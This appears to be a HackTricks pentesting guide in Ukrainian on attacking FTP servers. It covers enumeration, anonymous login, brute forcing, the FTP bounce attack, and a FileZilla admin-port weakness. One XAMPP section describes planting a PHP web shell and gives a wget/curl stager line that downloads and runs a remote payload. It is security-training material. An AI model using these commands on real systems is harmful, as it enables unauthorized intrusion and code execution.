21 - Pentesting FTP
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
The File Transfer Protocol (FTP) слугує стандартним протоколом для передачі файлів у комп’ютерній мережі між сервером та клієнтом.
Це plain-text протокол, який використовує як символ нового рядка 0x0d 0x0a, тому іноді потрібно підключатися за допомогою telnet або nc -C.
Порт за замовчуванням: 21
PORT STATE SERVICE
21/tcp open ftp
Connections Active & Passive
У Active FTP FTP client спочатку ініціює контрольне з’єднання зі свого порту N до командного порту FTP Server – порту 21. Потім client прослуховує порт N+1 і повідомляє номер порту N+1 FTP Server. FTP Server після цього ініціює передачу даних — з’єднання від свого порту M до порту N+1 FTP Client.
Але якщо у FTP Client налаштовано firewall, який контролює вхідні з’єднання даних ззовні, то Active FTP може бути проблемою. І реальним рішенням для цього є Passive FTP.
У Passive FTP client ініціює контрольне з’єднання зі свого порту N до порту 21 FTP Server. Після цього client відправляє команду passv comand. Сервер надсилає клієнту один зі своїх номерів порту M. І client ініціює передачу даних — з’єднання зі свого порту P до порту M FTP Server.
Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Connection debugging
Команди FTP debug та trace можна використовувати, щоб побачити як відбувається комунікація.
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Підключення до FTP за допомогою starttls
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Unauth enum
За допомогою nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
Ви можете використовувати команди HELP та FEAT, щоб отримати деяку інформацію про FTP-сервер:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Анонімний вхід
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
Тут можна знайти хороший список дефолтних ftp credentials: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Автоматизовано
Перевірки Anon login та bounce FTP виконуються за замовчуванням nmap з опцією -sC або:
nmap --script ftp-* -p 21 <ip>
Підключення через браузер
Ви можете підключитися до FTP-сервера за допомогою браузера (наприклад, Firefox), використовуючи URL на кшталт:
ftp://anonymous:anonymous@10.10.10.98
Зверніть увагу: якщо web application відправляє дані, контрольовані користувачем, directly to a FTP server, ви можете відправити байти double URL encode %0d%0a (у double URL encode це %250d%250a) і змусити FTP server perform arbitrary actions. Одна з можливих таких довільних дій — завантаження контенту з сервера, контрольованого користувачем, виконання port scanning або спроба взаємодії з іншими сервісами на основі plain-text (наприклад http).
Завантажити всі файли з FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Якщо у user/password є спеціальні символи, following command можна використати:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root mapped to webroot (XAMPP)
- XAMPP/ProFTPD часто відображає FTP root у
/opt/lampp/htdocs, тому слабкі облікові дані сервісних акаунтів на кшталтdaemonабоnobodyдозволяють вам upload a PHP web shell directly into the served webroot. - Після завантаження викличте architecture-aware download/exec stager через shell, наприклад:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), який завантажує checksum-validated payload, зберігає його (наприклад,init_start), виконуєchmod +xі запускає його. - Якщо поточний каталог не записуваний/не виконуваний, stager відкотиться до
/tmp, тому після завантаження перевіряйте web-шляхи та права файлової системи.
Some FTP commands
USER usernamePASS passwordHELPСервер показує, які команди підтримуютьсяPORT 127,0,0,1,0,80Ця команда вкаже FTP-серверу встановити з’єднання з IP 127.0.0.1 на порті 80 (потрібно вказати 5-й байт як “0” і 6-й як порт у десятковому або використати 5-й і 6-й для вираження порту в hex).EPRT |2|127.0.0.1|80|Ця команда вкаже FTP-серверу встановити TCP-з’єднання (позначене “2”) з IP 127.0.0.1 на порті 80. Ця команда підтримує IPv6.LISTПовертає список файлів у поточній папціLIST -RСписок рекурсивно (якщо дозволено сервером)APPE /path/something.txtВказує FTP зберегти дані, отримані з пасивного з’єднання або з PORT/EPRT з’єднання, у файл. Якщо ім’я файлу існує, дані додаються в кінець.STOR /path/something.txtЯкAPPE, але перезаписує файлSTOU /path/something.txtЯкAPPE, але якщо файл існує — нічого не робить.RETR /path/to/fileПотрібно встановити пасивне або портове з’єднання. Потім FTP-сервер відправить вказаний файл через це з’єднанняREST 6Вказує серверу, що наступного разу при відправці зRETRслід почати з 6-го байта.TYPE iВстановлює передачу у двійковому режиміPASVВідкриває пасивне з’єднання і повідомляє клієнту, куди підключатисяPUT /tmp/file.txtВідправляє вказаний файл на FTP
.png)
FTPBounce attack
Деякі FTP-сервери дозволяють команду PORT. Цю команду можна використати, щоб вказати серверу, що ви хочете підключитися до іншого FTP-сервера на певному порті. Тоді ви можете використати це, щоб просканувати, які порти хоста відкриті через FTP-сервер.
Дізнайтеся тут, як зловживати FTP сервером для сканування портів.
Ви також можете зловживати цією поведінкою, щоб змусити FTP-сервер взаємодіяти з іншими протоколами. Ви можете upload a file containing an HTTP request і змусити вразливий FTP-сервер send it to an arbitrary HTTP server (можливо, щоб додати нового адміністратора?) або навіть завантажити FTP-запит і змусити вразливий FTP-сервер скачати файл з іншого FTP-сервера. Теорія проста:
- Upload the request (inside a text file) to the vulnerable server. Пам’ятайте, що якщо ви хочете спілкуватися з іншим HTTP або FTP-сервером, потрібно змінити кінці рядків на
0x0d 0x0a - Use
REST Xto avoid sending the characters you don’t want to send (можливо, щоб завантажити запит у файл, вам доведеться додати якийсь image header на початку) - Use
PORTto connect to the arbitrary server and service - Use
RETRto send the saved request to the server.
Цілком ймовірно, що це викличе помилку на кшталт Socket not writable тому що з’єднання не триває достатньо довго, щоб відправити дані через RETR. Спробуйте наступне, щоб цього уникнути:
- Якщо ви відправляєте HTTP-запит, повторіть той самий запит один за одним поки загальний об’єм не досягне принаймні ~0.5MB. Наприклад:
- Спробуйте заповнити запит “сміттєвими” даними, релевантними протоколу (при зверненні до FTP це можуть бути просто випадкові команди або повторення інструкції
RETR, щоб отримати файл) - Просто заповніть запит великою кількістю нульових символів або інших (поділених по рядках або ні)
Так чи інакше, ось у вас є старий приклад про те, як зловживати цим, щоб змусити FTP-сервер завантажити файл з іншого FTP-сервера.
Filezilla Server Vulnerability
FileZilla зазвичай binds до local an Administrative service для FileZilla-Server (порт 14147). Якщо ви можете створити tunnel з your machine, щоб отримати доступ до цього порту, ви можете connect до it використовуючи blank password і create new user для FTP-сервісу.
Config files
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
Файл конфігурації за замовчуванням для vsFTPd знаходиться за адресою /etc/vsftpd.conf. Тут можна знайти деякі небезпечні налаштування:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- Каталог для анонімних користувачів.chown_uploads=YES- Змінює власника файлів, завантажених анонімно.chown_username=username- Користувач, якому надається власність над файлами, завантаженими анонімно.local_enable=YES- Дозволяє локальним користувачам входити.no_anon_password=YES- Не запитувати пароль у анонімних користувачів.write_enable=YES- Дозволяє команди: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE
Shodan
ftpport:21
HackTricks Automatic Commands
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


